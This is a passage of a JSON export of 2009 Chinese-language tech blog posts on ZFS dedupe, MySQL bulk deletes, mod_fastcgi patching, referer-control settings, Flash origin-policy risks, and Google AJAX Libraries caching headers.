    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://zh.wikipedia.org/wiki/ZFS\">ZFS</a> 也在發展 block-level dedupe 的工具：「<a href=\"http://tech.slashdot.org/story/09/11/02/2117206/ZFS-Gets-Built-In-Deduplication\">ZFS Gets Built-In Deduplication</a>」。這東西應該已經有一票<a href=\"http://en.wikipedia.org/wiki/Software_patent\">軟體專利</a>在前面阻撓，尤其是 <a href=\"http://en.wikipedia.org/wiki/Storage_area_network\">SAN</a> 廠商手上應該都有不少這類型的專利...\r\n\r\nBlock-level <a href=\"http://en.wikipedia.org/wiki/Data_deduplication\">Data Deduplication</a> 指的是重複的 block 區塊可以用 reference 紀錄，而非複製完整的 block。等到有修改時再複製修改，也就是 <a href=\"http://en.wikipedia.org/wiki/Copy-on-write\">Copy-on-write</a>。\r\n\r\n在維基百科的頁面記載了：\r\n<blockquote>ExaGrid's patented byte-level deduplication (content aware), NEC's HydraStor (Content Aware Deduplication Technology) , IBM's ProtecTier, Quantum, EMC/Data Domain, Symantec NetBackup PureDisk, EMC Avamar, Sepaton, FalconStor VTL, SIR, FDS (Virtual Tape Library, Single Instance Repository, and File Deduplication System) are some notable names.</blockquote>\r\n應該會有人跳出來告吧？還是 <a href=\"http://www.sun.com/\">Sun</a> 與 <a href=\"http://www.oracle.com/\">Oracle</a> 手上跟這些廠商有神秘的 agreement？",
    "title": "ZFS 的 dedupe 工具"
  },
  {
    "id": "2144",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上有報導說 <a href=\"http://www.skype.com/\">Skype</a> 將會提供 Open Source 的用戶端軟體：「<a href=\"http://linux.slashdot.org/story/09/11/02/1353245/Skype-For-Linux-To-Be-Open-Sourced-In-the-Nearest-Future\">Skype For Linux To Be Open-Sourced \"In the Nearest Future</a>」，而 Skype 官方的 blog 上面也證實了目前正在發展 <a href=\"http://www.linux.org/\">Linux</a> 上的版本 (而且是 open source)：「<a href=\"http://share.skype.com/sites/linux/2009/11/skype_open_source.html\">Skype open source</a>」。\r\n\r\n事情是這樣發展的：有人向 Skype 詢問是否有 <a href=\"http://www.mandriva.com/\">Mandriva</a> RPM package 可以下載，而 Skype 的人回覆「近期內會放出 open source 的 Linux client」，這樣一來應該就會有不少軟體 porting 進去，或是 <a href=\"http://en.wikipedia.org/wiki/Cleanroom_Software_Engineering\">cleanroom</a> 重寫 (如果有人認為 license 不夠友善)。\r\n\r\n另外也終於可以驗證 Skype 的加密到底安不安全。\r\n\r\n<strong>Update</strong>：參考 comment 的說明，只有 UI 的部份會 open。",
    "title": "Skype 將會提供 Open Source 的用戶端"
  },
  {
    "id": "2146",
    "body": "在「<a href=\"http://www.ourmysql.com/archives/767\">大表删除数据的思路</a>」這篇提到 <a href=\"http://dev.mysql.com/\">MySQL</a> 刪除的技巧。\r\n\r\nMySQL 的刪除不建議直接刪，也就是像這種 query 應該要避免：\r\n<blockquote><code>DELETE FROM `table` WHERE `lastupdated_at` &lt; 1234567890</code></blockquote>\r\n因為在巨大的 table 裡面，這類的 query 可能會跑幾分鐘。\r\n\r\n一般建議多幾筆 query 刪除：\r\n<blockquote><code>DELETE FROM `table` WHERE `lastupdated_at` &lt; 1234567890 ORDER BY `id` LIMIT 0, 10000</code></blockquote>\r\n跑到適當地條件成立時為止。\r\n\r\n會需要這樣設計，其中一個主要的原因是因為 MySQL 的 replication 架構：在 master 上面的寫入時是 multi-threading，但在 slave 上面的更新卻只有一個 thread。所以，如果有單一 query 跑太久，會造成有一段時間 master/slave 資料不一致。\r\n\r\n另外一個可能的原因是 table 使用 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/myisam-storage-engine.html\">MyISAM</a>。因為 MyISAM 寫入時會鎖住 table，如果花太久時間會使得 SELECT 要等待 query 結束，這點在有 web 的服務要避免 (因為前端的 user 會卡住)。分成多次寫入可以讓 query 在兩次寫入中間取得資料。\r\n\r\n原文的建議是將每個要刪除的 entry 都展開成一筆 <code>DELETE</code>，這個方法有不少壞處，應該要避免。\r\n<ul>\r\n\t<li>在 replication 架構下會產生大量的 binlog，雖然是徹底打散了，但反而大幅增加 client 與 server 之間的傳輸成本。</li>\r\n\t<li>在 <a href=\"http://www.innodb.com/\">InnoDB</a> 的表格裡，我們會把 <code><a href=\"http://dev.mysql.com/doc/refman/5.1/en/innodb-parameters.html#sysvar_innodb_flush_log_at_trx_commit\">innodb_flush_log_at_trx_commit</a></code> 設為 1 或 2，確保在 crash 時仍然可以回復資料，代價是每次更新時的 transaction log 都會 <code>fsync()</code>，強制寫回硬碟。如果有大量的 query 進來時，會產生很大量的 random write。</li>\r\n</ul>\r\n折衷的辦法是使用 <code>LIMIT</code> 限制數量，不過這樣還不夠，因為 MySQL 會認定這個 query 在 master 與 slave 上可能會有不同的結果 (即使兩邊資料一樣，底層的 data structure 可能不同，而造成 LIMIT 後出來的 Result Set 不一樣)，為了資料安全而決定切到 ROW mode。\r\n\r\n所以另外加上 <code>ORDER BY `id`</code> 確保 master 與 slave 所取得的 entry 是相同的。",
    "title": "MySQL 上大量刪除的技巧"
  },
  {
    "id": "2148",
    "body": "上個月的瀏覽器市場佔有率調查出爐了，在敵消我漲的情況下，<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 總算是超越了 IE6 的佔有率：「<a href=\"http://arstechnica.com/microsoft/news/2009/11/october-2009-browser-stats-firefox-finally-passes-ie6.ars\">October 2009 browser stats: Firefox finally passes IE6</a>」，在 <a href=\"http://gs.statcounter.com/\">StatCounter Global Stats</a> 也可以看到類似的數據。",
    "title": "Firefox 佔有率超過 IE6 了..."
  },
  {
    "id": "2149",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到<a href=\"http://www.loc.gov/\">美國國會</a>通過議案 (以 41 比 28)，要求 ISP 必須配合阻擋某些「不法性質」的網站，在新聞稿上面寫的包括色情網站與侵權網站，另外還包括金融犯罪的網站：「<a href=\"http://yro.slashdot.org/story/09/11/05/1318230/Congress-May-Require-ISPs-To-Block-Certain-Fraud-Sites\">Congress may require ISPs to block fraud sites</a>」。\r\n\r\n也就是說，這項議案授權美國政府，要求 ISP 阻擋某些美國政府管不到的網站。由於全球網路的交換中心在美國，如果在美國的網路系統可以被政府用命令要求阻擋某些網站，會有很嚴重的影響。\r\n\r\n因為這個比數看起來不是<a href=\"http://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E5%8F%82%E8%AE%AE%E9%99%A2\">參議院</a>或是<a href=\"http://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E4%BC%97%E8%AE%AE%E9%99%A2\">眾議院</a>的全額，看新聞稿是「The House Financial Services Committee」通過的，不確定是不是政府內的草案，接下來看 <a href=\"http://www.eff.org/\">EFF</a> 會有怎麼樣的回應，以及其他的後續報導...",
    "title": "美國政府將有權力要求 ISP 阻擋網站"
  },
  {
    "id": "2151",
    "body": "在 <a href=\"http://mysqlha.blogspot.com/\">Mark Callaghan</a> 的 blog 上看到的好消息，新版的 <a href=\"http://www.innodb.com/\">InnoDB</a> 將不會因為 table scan 而導致整個 buffer pool 被清空了：「<a href=\"http://mysqlha.blogspot.com/2009/11/innodb-plugin-gets-better-again.html\">InnoDB plugin gets better again</a>」。\r\n\r\n依照「<a href=\"http://bugs.mysql.com/bug.php?id=45015\">InnoDB buffer pool can be severely affected by table scans</a>」，增加了 <code>innodb_old_blocks_pct</code> 與 <code>innodb_old_blocks_time</code>，利用一些設定避免 buffer pool 被大量清空。這個方法不是很完美，但應該是堪用的，在 5.1.41 的 InnoDB Plugin 應該就會看到。",
    "title": "InnoDB 將修正 Table Scan 導致的效率低落問題"
  },
  {
    "id": "2152",
    "body": "我發現到某一組機器的 apache 2.2 (worker MPM) 偶而會 coredump，大約七月的時候決定跳下去找原因，在編了有 debuig symbol 的 httpd 後 (跑起來後用 <a href=\"http://www.gnu.org/software/gdb/\">gdb</a> 放著跑，coredump 時會被 gdb 攔下來，如果 stack 沒被弄爛的話，有機會看到爛在哪裡)，發現是 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a> 沒有正確處理 non-threadsafe function 造成的問題，在「<a href=\"http://blog.gslin.com/2009/07/modfastcgi-threading-coredump-bug.html\">修正 mod_fastcgi 在 threading 環境下會 coredump 的 bug </a>」這篇我有提過。\r\n\r\n我在「<a href=\"http://article.gmane.org/gmane.comp.web.fastcgi.devel/2801\">getgrgid() and getpwent() not thread-safe causes segfault in worker MPM</a>」(原 mailing list 沒有開放 archive，所以必須到 gmane 查) 把 patch 丟上去，不過看起來 mod_fastcgi 不太會出新版了。\r\n\r\n所以在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上面就需要自立救濟... 在安裝 <a href=\"http://www.freshports.org/ports-mgmt/portconf\">portsconf</a> 後，就可以在 /usr/local/etc/ports.conf 內對 <a href=\"http://www.freshports.org/www/mod_fastcgi\">www/mod_fastcgi</a> 指定 patch 的參數：\r\n<blockquote><code>www/mod_fastcgi: NO_CHECKSUM=yes | PATCH_SITES=http://site/path/ | PATCHFILES=mod_fastcgi-2.4.6-threadsafepatch.patch.gz</code></blockquote>\r\n然後把 patch 丟上 http://site/path/mod_fastcgi-2.4.6-threadsafepatch.patch.gz 裡面。NO_CHECKSUM 是因為我們的 patch 不在 distfiles 內，所以得這樣搞...",
    "title": "Apache 2.2 worker MPM 與 mod_fastcgi 的問題"
  },
  {
    "id": "2153",
    "body": "<a href=\"http://www.lighttpd.net/\">lighttpd</a> 的 dev team 好像抓到重點了，與其發展 1.5，不如先從改善 1.4 開始吸引更多人使用 lighttpd，而且要儘量「<a href=\"http://www.catb.org/~esr//writings/homesteading/cathedral-bazaar/ar01s04.html\">release early, release often</a>」，以其拉近與 <a href=\"http://nginx.net/\">nginx</a> 的差距，並且吸引更多人參與，累積能量：「<a href=\"http://blog.lighttpd.net/articles/2009/11/08/pre-release-lighttpd-1-4-25rc1-r2692\">PRE-RELEASE: lighttpd 1.4.25rc1-r2692</a>」。\r\n\r\n這次的重點還是 bugfix，外加兩個小功能。",
    "title": "lighttpd 1.4.25rc1"
  },
  {
    "id": "2154",
    "body": "<a href=\"http://jeremy.zawodny.com/\">Jeremy Zawodny</a> 寫了一篇「<a href=\"http://jeremy.zawodny.com/blog/archives/011421.html\">Fixing Poor MySQL Default Configuration Values</a>」提到 <a href=\"http://dev.mysql.com/\">MySQL</a> 有不少非常有問題的預設值，在安裝後無論如何都應該修改。他在文章裡拉出了四個惱人的設定值...\r\n\r\n首先是 <code>max_connect_errors</code>，當某一個 host 送了過多的錯誤 query 時就會擋掉這個 host 的權限。這個設定無論是在共用或是獨立的環境裡，這個值的用途都非常奇怪：在共用的環境下，我可以利用這個功能惡搞其他人，把與自己同一台 web 的站台搞爛。在獨立的環境下，擋掉自己做什麼？\r\n\r\n第三個的 <code>skip-name-resolve</code> 也是一個很詭異的選項，每個連線進來就跑一次 DNS 反解？MySQL 又不是 Internet 服務...\r\n\r\n既然 Jeremy Zawodny 提了，這陣子應該有機會改...",
    "title": "無論如何都應該修改的 MySQL 預設值"
  },
  {
    "id": "2155",
    "body": "<a href=\"http://www.stardrifter.org/refcontrol/\">RefControl</a> 是一套在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上控制 Referer 的工具，在 <a href=\"http://www.google.com/reader\">Google Reader</a> 裡面看無名或是其他家的圖片很好用。\r\n\r\n前陣子換 Firefox 3.6 後發現上面不能跑 RefControl，寫個信給原作者問看看，他就把問題找出來並修正了。在原始網站上已經有 0.8.13 了，等個幾天 Firefox 的頁面上面應該就會一起更新。(等 review 中)\r\n\r\n本來是用 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/10636\">Mason</a>，雖然 Mason 可以用 Regular Expression，但缺少簡單的機制加入白名單的功能反而造成不少困擾。最大的問題在於在設定所有站台都送出 Host-only Referer 後，無法很簡單的設定白名單，必須考驗自己的 regular expression 編寫能力，在 exclude list 裡面一條一條設... 反倒是 RefControl 可以直接設某些 domain 為 \"Normal\"，所以就換回來囉...\r\n\r\n主要是最近才發現在<a href=\"http://www.books.com.tw/\">博客來</a>買新書 (<a href=\"http://zh.wikipedia.org/wiki/%E8%BC%95%E5%B0%8F%E8%AA%AA\">輕小說</a>與<a href=\"http://zh.wikipedia.org/wiki/%E6%BC%AB%E7%94%BB\">漫畫</a>) 大多數都有 79 折，加上書套費用比書局便宜，沒有必要特地去書局拿... 但博客來的系統不知道是誰設計的，Referer 擋的超嚴格，登入頁與結帳頁光送 <code>http://www.books.com.tw/</code> 是不會過的...",
    "title": "RefControl (對 Referer/Referrer 動手腳的套件) 在 3.6 可以正常運作了..."
  },
  {
    "id": "2156",
    "body": "在 <a href=\"http://www.techcrunch.com/\">TechCrunch</a> 上看到 <a href=\"http://www.myfontbook.com/\">myFontbook</a> 這個字型瀏覽網站：「<a href=\"http://www.techcrunch.com/2009/11/07/the-font-kingdom-search-explore-create-and-download-fonts-for-free/\">The Font Kingdom: Search, Explore, Create, and Download Fonts for Free</a>」，測了一下發現還蠻好用的，連中文字型都可以測...\r\n\r\n在 IE7 與 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.6b3pre 上面看都相當頓，看起來只能在 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 上跑...\r\n\r\n文章裡提到的其他幾個站測起來的感覺還好而且，不過有一些站整理了很多字型檔可以用，倒是可以利用...",
    "title": "字型瀏覽網站 myFontbook"
  },
  {
    "id": "2157",
    "body": "我有利用 <a href=\"http://search.twitter.com/\">Twitter Search</a> 的 feed 訂閱一些關鍵字，其中幾個就是跟 CDN (<a href=\"http://en.wikipedia.org/wiki/Content_delivery_network\">Content Delivery Network</a>) 有關的關鍵字，包括了幾個比較大的 CDN 公司名稱，以及我們在用的 CDN 公司名稱 (我們用的是 <a href=\"http://www.pantherexpress.net/\">Panther Express</a>，二月的時候被 <a href=\"http://www.cdnetworks.com/\">CDNetworks</a> 收購)。\r\n\r\n剛剛爬起來看到 feed 裡面一堆 CDNetworks 的資訊，但又看不懂到底是什麼鬼，看了官方網頁也看不出來發生什麼事情 (被 <a href=\"http://www.google.com/\">Google</a> 併購？但也不太對，才剛看到 <a href=\"http://www.admob.com/\">Admob</a> 被買，同時就要再併購韓國的上市公司？)，結果翻其他的 feed 的時候在 <a href=\"http://www.techcrunch.com/\">TechCrunch</a> 上面看到發生什麼事情了：「<a href=\"http://www.techcrunch.com/2009/11/09/heres-some-pr-for-you-cdnetworks/\">Here’s Some PR For You, CDNetworks</a>」。\r\n\r\n內容如同標題，我看完笑得超開心的 XDDD\r\n\r\n我猜這應該是韓國總公司的 PR team 幹的事情？美國搞 PR 的單位應該很清楚 <a href=\"http://www.ftc.gov/\">FTC</a> 在十月的時候要求任何的利益交換都必須被揭露，不論是公司還是個人：「<a href=\"http://www.ftc.gov/opa/2009/10/endortest.shtm\">FTC Publishes Final Guides Governing Endorsements, Testimonials</a>」。\r\n\r\n另外 TechCrunch 自己就有用 <a href=\"http://www.cotendo.com/\">cotendo</a> (在頁面裡可以看到 <code>cache0.techcrunch.com</code>，CNAME 指到 cotendo 的 CDN 上)，也曾經贊助過 TechCrunch，不得不說很厲害... XD",
    "title": "CDNetworks 的負面 PR"
  },
  {
    "id": "2158",
    "body": "在 <a href=\"http://twitter.com/rasmus\">Rasmus 的 Twitter</a> 上面提到了：\r\n<blockquote>Feels a bit odd to be unemployed. Probably crazy to leave the best job I have ever had, but after 7+ years it was time for something new. <a href=\"http://twitter.com/rasmus/status/5563093966\">#</a></blockquote>\r\n依據 <a href=\"http://en.wikipedia.org/wiki/Rasmus_Lerdorf\">Wikipedia 上的紀錄</a>，Rasmus Lerdorf 是上個禮拜 (11 月 6 日) 離開 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 的。",
    "title": "Rasmus Lerdorf 離開 Yahoo!"
  },
  {
    "id": "2159",
    "body": "這嚴格上來說是 service provider 的問題，而非 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash</a> 本體的問題，但影響層面太大，發表這個漏洞的作者希望 <a href=\"http://www.adobe.com/\">Adobe</a> 可以想辦法處理...\r\n\r\n在「<a href=\"http://www.foregroundsecurity.com/MyBlog/flash-origin-policy-issues.html\">Flash Origin Policy Issues</a>」這篇文章裡提到了攻擊的方式。舉個實際例子，上傳檔名為圖檔類型 (gif/jpg) 的 Flash 檔，如果 service provider 沒有過濾，就可以將任意的 Flash 放到網域裡面，藉由 <code>crossdomain.xml</code> 所允許的網段攻擊。\r\n\r\n除了過濾外，另外比較好的作法是把使用者上傳的東西放到獨立 domain，而非只是 hostname，這樣可以避免 *.domain.tld 時包進去。",
    "title": "Flash 安全性問題"
  },
  {
    "id": "2160",
    "body": "因為都有擋 Referer，所以必須把 <a href=\"https://addons.mozilla.org/firefox/addon/953\">RefControl</a> 設定好：\r\n<ul>\r\n\t<li><a href=\"http://im.tv/\">im.tv</a>：把 <code>im.tv</code> 設為 Block。</li>\r\n\t<li><a href=\"http://vlog.xuite.net/\">Xuite Vlog</a>：把 <code>mms.xuite.net</code> 設為 <code>http://vlog.xuite.net/</code>。</li>\r\n\t<li><a href=\"http://www.wretch.cc/video/\">無名</a>：有四組要設，把 <code>203.84.201.{24,25,26,27}</code> 設為 <code>http://www.wretch.cc/</code>。</li>\r\n</ul>",
    "title": "國內影音網站配合 RefControl 的設定"
  },
  {
    "id": "2161",
    "body": "<a href=\"http://golang.org/\">Go</a> 才出來沒多久，就在 <a href=\"http://simonwillison.net/\">Simon Willison</a> 的 blog 上看到 <a href=\"http://bleu.west.spy.net/~dustin/\">Dustin Sallings</a> (<a href=\"http://memcached.org/\">memcached</a> 的 maintainer) <a href=\"http://simonwillison.net/2009/Nov/13/gomemcached/\">用 Go 寫了一個 memcached</a>：「<a href=\"http://dustin.github.com/2009/11/12/gomemcached.html\">Hello World in Go – A Memcached Server</a>」。\r\n\r\n雖然 memcache protocol 是不難，這種等級的 \"Hello, world\" 會不會太刺激了點 XD\r\n\r\n翻了一下 <a href=\"http://github.com/\">GitHub</a> 上 <a href=\"http://github.com/dustin/gomemcached\">gomemcached</a> 的 code 裡面看起來還沒寫完，應該只有基本的功能？",
    "title": "用 Go 寫的 Memcached"
  },
  {
    "id": "2163",
    "body": "為了刪除 spam，在 <a href=\"http://www.blogger.com/\">Blogger</a> 的後台找了老半天找不到 (動線不太順暢)，用 <a href=\"http://www.google.com/\">Google</a> 查到的說明，看起來可以在前台看到「垃圾桶的 icon」，但也看不到，最後只好自己想辦法...\r\n\r\n我知道是 Blogger 前後台有很多東西透過 Cross-domain CSS 做，所以我就拉 <a href=\"https://addons.mozilla.org/firefox/addon/1843\">Firebug</a> 看，發現問題是出在 <code>http://www.blogger.com/dyn-css/</code> 這個目錄下的回應沒有傳正確的 CSS，看了 header 有一些想法，測試幾次後，發現果然是 Referer 的問題...\r\n\r\n解法是在 <a href=\"https://addons.mozilla.org/firefox/addon/953\">RefControl</a> 裡面把 <code>www.blogger.com</code> 設成 Normal，用 Block 或是其他的設定都不會動...",
    "title": "Blogger 看不到刪除 comment 按鈕的問題"
  },
  {
    "id": "2165",
    "body": "剛剛升級 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 的時候發現升到 Firefox 3.6b4pre，這代表 3.6 beta3 這幾天應該就會發行了。\r\n\r\n不過這次升級又爛了一些東西... 像是 <a href=\"https://addons.mozilla.org/firefox/addon/1391\">Nightly Tester Tools</a> 的 Override all compatibility 按鈕居然失效，在升級後 <a href=\"https://addons.mozilla.org/firefox/addon/748\">Greasemonkey</a>、<a href=\"https://addons.mozilla.org/firefox/addon/1146\">Screengrab</a>、<a href=\"https://addons.mozilla.org/firefox/addon/60\">Web Developer</a> 得重裝 (安裝時的 Force Install 沒有失效)。",
    "title": "Firefox 3.6b4pre"
  },
  {
    "id": "2166",
    "body": "在前幾天的「<a href=\"http://aws.typepad.com/aws/2009/11/aws-news-recap.html\">AWS News Summary...</a>」裡提到了一些東西其實還蠻重要的...\r\n\r\n通過 <a href=\"http://www.sas70.com/\">SAS70</a> Type II：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2009/11/11/aws-completes-sas70-type-ii-audit/\">AWS Completes SAS70 Type II Audit</a>」，從 Wikipedia 的「<a href=\"http://en.wikipedia.org/wiki/Statement_on_Auditing_Standards_No._70:_Service_Organizations\">Statement on Auditing Standards No. 70: Service Organizations</a>」可以看到解釋，不過我對 SAS70 不熟...\r\n\r\n預定在 2010 年建立亞洲區 data center，上半年會先在新加坡建立，下半年會在亞洲其他地方建立，目前還沒有說明是哪些地點：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2009/11/12/aws-asia/\">AWS Announces Expansion into Asia</a>」。除了可以在亞洲建立 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> instance 或是 <a href=\"http://aws.amazon.com/s3/\">S3</a> bucket 外，這對於亞洲區 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 的密集度會再提昇...\r\n\r\n另外就是 <a href=\"http://aws.amazon.com/\">AWS</a> 用的 OTP token 開始接受美國國外的訂單了：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2009/11/10/aws-multi-factor-authentication-compatible-devices-now-available-worldwide/\">AWS Multi-Factor Authentication compatible devices now available worldwide</a>」。",
    "title": "Amazon Web Services 的近況與未來計畫"
  },
  {
    "id": "2167",
    "body": "<a href=\"http://thepiratebay.org/\">The Pirate Bay</a> 總算把 tracker 關閉了：「<a href=\"http://torrentfreak.com/the-pirate-bay-tracker-shuts-down-for-good-091117/\">The Pirate Bay Tracker Shuts Down for Good</a>」。\r\n\r\nTPB 的 tracker 應該是關閉之前最「好用」的 tracker，不需要註冊，直接指過去就可以用，而且又夠力... 可以看到許多 torrent 檔裡面都加上 TPB 的 tracker。雖然有其他 open tracker，不過這次關閉應該會對整個 Bittorrent 分散式架構有很重要的影響，因為現有的檔案 (尤其是只設 TPB tracker 的檔案) 會大量依靠 <a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\">DHT</a> + <a href=\"http://en.wikipedia.org/wiki/Peer_exchange\">PEX</a>。\r\n\r\n不過，tracker 就算關閉，對目前的 Bittorrent client 應該都沒什麼大問題，因為都支援 DHT 與 PEX 了，交叉組合對於熱門檔案應該是可以保持網路的完整性，至於非熱門檔案就不曉得了...",
    "title": "The Pirate Bay 的 Tracker 關閉，走向分散式架構"
  },
  {
    "id": "2168",
    "body": "用 <a href=\"http://www.procmail.org/\">procmail</a> 分出來的檔案仍然會受到 <a href=\"http://www.postfix.org/\">Postfix</a> 的信箱大小限制，預設是 51200000 bytes (約 50MB)，而這個月的 daily report 多了點，就滿出來到 <code>/var/mail</code> 下面了...\r\n\r\n先把 <code>mailbox_size_limit</code> 改成 102400000 bytes (約 100MB)，再來看看夠不夠用...",
    "title": "Postfix 的信箱大小限制"
  },
  {
    "id": "2169",
    "body": "在「<a href=\"http://www.mikealrogers.com/archives/695\">JSON Performance in Python</a>」這篇看到比較圖，在 <a href=\"http://www.python.org/\">Python</a> 2.6 上面測試 <a href=\"http://docs.python.org/library/json.html\">json (stdlib)</a>、<a href=\"http://pypi.python.org/pypi/simplejson/\">simplejson</a>、<a href=\"http://code.google.com/p/jsonlib2/\">jsonlib2</a>、<a href=\"http://pypi.python.org/pypi/python-cjson/\">cjson</a> 這四個不同的 <a href=\"http://json.org/\">JSON</a> library 的速度。\r\n\r\n可以看到系統內建的 json 很慢，主要的原因除了是純 Python 外，另外在原文留言的地方也有提到 json 在被引入 Python 2.6 的時間太接近 release 日期，當時沒有辦法再大幅度改寫，所以速度很慢。\r\n\r\n其他的部份可以看出來 cjson decode 的速度相當快，但 encode 的速度就不是很好，但是 cjson 的 API 與其他三組 library 不太一樣，直接用 <code>cjson.decode()</code> 與 <code>cjson.encode()</code>，其他的 library 都提供比較彈性的介面 (換句話說就是比較複雜) 操作。",
    "title": "Python 的 JSON library 速度比較"
  },
  {
    "id": "2170",
    "body": "<a href=\"http://www.youtube.com/\">YouTube</a> 在這個月公告支援 full HD (<a href=\"http://en.wikipedia.org/wiki/1080p\">1080p</a>)：「<a href=\"http://youtube-global.blogspot.com/2009/11/1080p-hd-comes-to-youtube.html\">1080p HD Is Coming to YouTube</a>」。\r\n\r\n依照之前 720p 的慣例，又有一堆人開始丟 full HD 影片上去測 (用 <code>&amp;fmt=37</code> 直接看)，像是不可能會少的 <a href=\"http://www.youtube.com/watch?v=8bFCwvoICD0&amp;fmt=37\">AIR OP</a>... XD\r\n\r\n不過因為目前主流的 Adobe Flash Player 10.0 的 <a href=\"http://zh.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a> 是用軟體解，bitrate 比較高的 H.264 影片會讓一堆人的電腦炸的亂七八糟，這個禮拜在公司看的時候大家都叫翻了... XD\r\n\r\n如果顯示卡有支援 H.264 硬體解壓縮，可以抓 Adobe Flash Player 10.1 版測試 (目前還是 prerelease 階段)，要測試的人可以到 <a href=\"http://labs.adobe.com/technologies/flashplayer10/\">Adobe Flash Player 10.1</a> 這邊翻，要注意的是必須先移除現有的 10.0 版，不然裝不進去。我裝上去之後是變順了，不過還是會單顆 CPU 100%，這就不知道原因了...\r\n\r\n目前在 Adobe Flash Player 10.1 還沒有正式 release 前，比較完整的資訊可以在「<a href=\"http://www.adobe.com/devnet/logged_in/jchurch_flashplayer10.1.html\">Introducing Adobe Flash Player 10.1 public prerelease</a>」這篇查到更詳細的資料。",
    "title": "Adobe Flash Player 10.1 的 H.264 硬體解壓縮功能..."
  },
  {
    "id": "2172",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到因為感恩節 (參考 Wikipedia 的「<a href=\"http://zh.wikipedia.org/wiki/%E9%BB%91%E8%89%B2%E6%98%9F%E6%9C%9F%E4%BA%94_%28%E8%B4%AD%E7%89%A9%29\">黑色星期五 (購物)</a>」) 而使得 <a href=\"https://www.paypal.com/\">PayPal</a> 黑色星期五的交易筆數又破紀錄，比 2008 年多了 20%：「<a href=\"http://news.slashdot.org/story/09/11/29/1327211/Record-Breaking-Black-Friday-For-eBays-PayPal\">Record-Breaking Black Friday For eBay's PayPal</a>」。在 PayPal 官方 blog 上也有提到這件事情：「<a href=\"https://www.thepaypalblog.com/2009/11/black-friday-data-is-here-online-shopping-activity-increases/\">Black Friday Data is Here: Online Shopping Activity Increases</a>」。\r\n\r\n大家愈來愈習慣網路上的交易了... 連家裡的老人家都會自己到書店買書，到超商拿貨 XD",
    "title": "PayPal 黑色星期五交易數量創紀錄"
  },
  {
    "id": "2173",
    "body": "<a href=\"http://journal.uggedal.com/\">Eivind Uggedal</a> 寫了一篇文章比較 <a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a>、<a href=\"http://www.linode.com/\">Linode</a>、<a href=\"http://prgmr.com/xen/\">Prgmr</a>、<a href=\"http://www.rackspacecloud.com/\">Rackspace</a>、<a href=\"http://www.slicehost.com/\">Slicehost</a> 的 VPS。比較廣義的說，應該是指利用虛擬化技術的 hosting：「<a href=\"http://journal.uggedal.com/vps-performance-comparison\">VPS Performance Comparison</a>」。\r\n\r\n結論是 Linode 在效能上大獲全勝，而且有提供 32bit 與 64bit 環境可以選擇，可用頻寬 quota 也是最多的。Pgrmr 記憶體雖然大，但也就是只有記憶體大而已，效能並沒有很好。",
    "title": "VPS 的性能比較"
  },
  {
    "id": "2174",
    "body": "在「<a href=\"http://nichol.as/how-google-is-wasting-your-bandwidth\">How Google is wasting your bandwidth</a>」看到有人發現 <a href=\"http://www.google.com/\">Google</a> 所提供的 <a href=\"http://code.google.com/apis/ajaxlibs/\">Google AJAX Libraries</a> 有一些地方處理的非常極端，沒有注意的話反而會使得使用者多花不少頻寬在上面。\r\n\r\n以 <a href=\"http://jquery.com/\">jQuery</a> 為例，如果直接指定版本，使用 1.3.2：<code>http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js</code>，那麼 <code>Expires</code> 會設定一年左右的時間：\r\n<blockquote><code><small><small>Last-Modified: Mon, 23 Nov 2009 18:54:21 GMT\r\nDate: Mon, 30 Nov 2009 22:03:29 GMT\r\nExpires: <strong>Tue, 30 Nov 2010 22:02:37 GMT</strong>\r\nCache-Control: <strong>public, must-revalidate, proxy-revalidate, max-age=31536000</strong>\r\nX-Content-Type-Options: nosniff</small></small></code></blockquote>\r\n但如果後面有 <code>?...</code>，像是加上了 <code>?ver=1.3.2</code> 就會完全不一樣，完全不會 cache：\r\n<blockquote><code><small><small>Last-Modified: Mon, 23 Nov 2009 18:54:21 GMT\r\nDate: Mon, 30 Nov 2009 22:04:43 GMT\r\nPragma: no-cache\r\nExpires: <strong>Fri, 01 Jan 1990 00:00:00 GMT</strong>\r\nCache-Control: <strong>no-cache, must-revalidate</strong></small></small></code></blockquote>\r\n另外一個比較小的問題是 <code>http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</code> 會指到 1.3 系列最新版本，是不會 fully-cache 的，每次都會 revalidate (最好的情況是 304 Not modified，傳輸量小於 1KB，比較差的情況是整個檔案重抓一次) 以確保 Google 更新時使用者就會馬上看到最新的檔案：\r\n<blockquote><code><small><small>Last-Modified: Mon, 23 Nov 2009 18:54:21 GMT\r\nDate: Mon, 30 Nov 2009 22:05:52 GMT\r\nExpires: <strong>Mon, 30 Nov 2009 23:05:52 GMT</strong>\r\nCache-Control: <strong>public, must-revalidate, proxy-revalidate, max-age=3600</strong></small></small></code></blockquote>\r\n1.2.6 與 1.2 也是一樣的情況，要使用 Google 提供的 AJAX Libraries 要注意。\r\n\r\n以目前 Google 所提供的平台，應該要使用指定完整版本 (像是 1.2.6 或是 1.3.2)，且不帶任何 query string 的 request。",
